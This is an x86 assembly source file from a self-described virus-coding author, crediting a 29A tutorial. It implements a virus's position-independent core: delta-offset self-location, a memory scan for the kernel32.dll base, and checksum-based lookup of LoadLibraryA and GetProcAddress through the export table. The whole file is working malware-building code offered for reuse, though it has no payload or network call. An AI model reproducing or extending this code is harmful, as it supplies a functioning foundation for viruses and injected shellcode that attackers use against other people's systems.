;This is another method to get Kernel32.dll base address & scanning API functions we need.
;if we know the address of "LoadLibraryA" and "GetProcAddress", we can get any address of any API functions
;
;
;Credit	: Many thanks go to LethalMind/29A, tutorial in scanning API function is Great..:)!!
;Notes	: The routine in scanning API with checksum is refer to LethalMind/29A tutorial. Sigh....we need the new technic in virus coding :p
;
;
;Author		: lclee_vx
;Group		: F-13 Labs
;Copyright	: Not me, sigh....still need to improve my skilll but damn it...i do not have time...





.386p
.model flat, stdcall
option casemap:none

.data

RubbishSize	equ	(offset Delta - offset VirusStart)		;redundant size

.code
VirusStart:
	db 0b8h								;eax=1000h
	RvaEip	dd 1000h
													
	
	call	Delta

Delta:
	pop	ebp
	mov	ebx, ebp						;ebx=ebp
	sub	ebp, offset Delta				
	
	sub	ebx, RubbishSize					;ebx=ImageBase
	mov	dword ptr [ebp+offset ModuleAddress], ebx		;save
	
	mov	esi, [esp]						;get the current Address 
	and	esi, 0FFFF0000h										
	call	GetK32
	mov	dword ptr [ebp+offset KernelAddr], esi			;save the address of Kernel32.dll
	
	call	GetApis

;------------------------------------------------------------------------------------------------
;here we start to scan APIs functions "GetProcAddress" and "LoadLibrary"
;and retrieve others APIs functions with GetProcAddress and LoadLibrary
;
;Notes:
;AddressOfNames     = points to a table of function name string one after another
;AddressOfFunctions = points to a table filled with function addresses
;AddressOfOrdinals  = points to a table with the ordinal number or each function 
;------------------------------------------------------------------------------------------------
GetApis		proc
	mov	eax, esi						;eax=esi=address of kernel32.dll
	add	eax, dword ptr [eax+3ch]				;eax=Pointer to PE Header
	mov	dword ptr [ebp+offset PEHeader], eax			;save it
	add	esi, dword ptr [eax+78h]				;esi=point to ExportDirectory
	mov	dword ptr [ebp+offset ExportDir], esi			;save it
	
	mov	edx, dword ptr [ebp+offset KernelAddr]			;edx=Address of Kernel32.dll
	add	edx, [esi+20h]						;edx=AddressOfNames
	mov	dword ptr [ebp+offset AddrOfNames], edx			;save it
	
	mov	ecx, dword ptr [esi+18h]				;ecx=NumberOfNames
	mov	dword ptr [ebp+offset NumOfNames], ecx			;save it
	
	lea	edi, word ptr [ebp+offset ImportantApis]		;edi=API functions we need
	xor	eax, eax						;set the index counter eax=0
	
SearchApiName:
	mov	esi, dword ptr [ebp+offset KernelAddr]			;esi=Address of Kernel32.dll
	add	esi, [edx+eax*4]					;get address for next api name in 
									;kernel32.dll

@Step1:
	pushad								;save all the register 
	xor	edx, edx						;edx=0
	mov	edx, dword ptr [edi]					;load the Api functions need into edx
	cmp	edx, 0							;ended?? Refer to "ImportantApis" structure
	jz	GetOut							;jump to end of routine

@Step2:
	xor	eax, eax						;eax=0
	lodsb								;esi-->eax, take a character, ie:"_X"
	mov	ah, al							;move it left, ie:"X __"
	mov	al, 0
	sub	edx, eax											
	cmp	eax, 0							;eax=0??
	jz	@Step3
	xor	ax, ax							;ax=0
	lodsb								;esi-->eax, take a character, ie:"_Y"
	sub	edx, eax
	cmp	eax, 0							;eax=0
	jnz	@Step2

@Step3:
	test	edx, edx						;edx=0?, we get the checksum match?
	jz	FoundApi
	popad								;save back all the register
	inc	eax							;eax+1
	cmp	eax, dword ptr [ebp+offset NumOfNames]			;compare with the NumberOfNames
	jge	GetOut							;jump out from the routine
	jmp	SearchApiName


;Here we apply two formula to retrieve the address of the API functions we need
;eax = The index into the Address of Ordinals
;
;Formula 1: eax*2+[AddressOfNameOrdinals]=Ordinal
;Formula 2: Ordinal*4+[AddressOfFunctions]=Address of Function (RVA) 
;

FoundApi:
	popad								;save back all the register
	mov	esi, dword ptr [ebp+offset ExportDir]			;esi=point to ExportDir
	mov	edx, dword ptr [ebp+offset KernelAddr]			;edx=Address of Kernel32.dll
	add	edx, [esi+24h]						;edx=AddressOfNameOrdinals
	movzx	eax, word ptr [edx+eax*2]				;Apply Formula 1
	
	mov	edx, dword ptr [ebp+offset KernelAddr]			;edx=Address of Kernel32.dll
	add	edx, [esi+1ch]						;edx+AddressOfFunctions
	mov	esi, dword ptr [ebp+offset KernelAddr]
	add	esi, [edx+eax*4]
	mov	eax, esi						;eax=address of functions
	
	add	edi, 4
	stosd								;save eax -->edi
	xor	eax, eax
	mov	edx, dword ptr [ebp+offset AddrOfNames]
	
	jmp	SearchApiName

GetOut:
	ret

GetApis endp


;------------------------------------------------------------------------------------------------
;This routine is scan Kernel32.dll address
;
;Notes:
;-------
;we set the esi+IMAGE_DOS_HEADER.e_lfanew < 4096byte (1000h), its impossible the size of Dos Header
;plus Stub > 4096byte, correct me if i wrong :p
;
;the code "test ax, 0f000h" that mean we check the value for "0xxx", x=value 0,1
;------------------------------------------------------------------------------------------------
GetK32		proc
	push	eax

Step1:
	dec	esi							;Checking every byte
	mov	ax, [esi+3ch]						;ax=esi+IMAGE_DOS_HEADER.e_lfanew
	test	ax, 0f000h						;ax < 4096byte
	jnz	Step1
	cmp	esi, [esi+eax+34h]					;esi=IMAGEBASE ??
	jnz	Step1
	pop	eax							;save the original eax 
		
	ret

GetK32 endp

;------------------------------------------------------------------------------------------------
;parameters
;------------------------------------------------------------------------------------------------
;RvaEip			dd	?

ModuleAddress		dd	00000000h
KernelAddr		dd	00000000h
PEHeader		dd	00000000h
ExportDir		dd	00000000h
AddrOfNames		dd	00000000h
NumOfNames		dd	00000000h


ImportantApis:
sLoadLibraryA		dd	"Lo"+"ad"+"Li"+"br"+"ar"+"yA"
aLoadLibraryA		dd	000000000h
sGetProcAddress		dd	"Ge"+"tP"+"ro"+"cA"+"dd"+"re"+"ss"
aGetProcAddress		dd	00000000h
			dd	00000000h

VirusEnd:
ends

end	VirusStart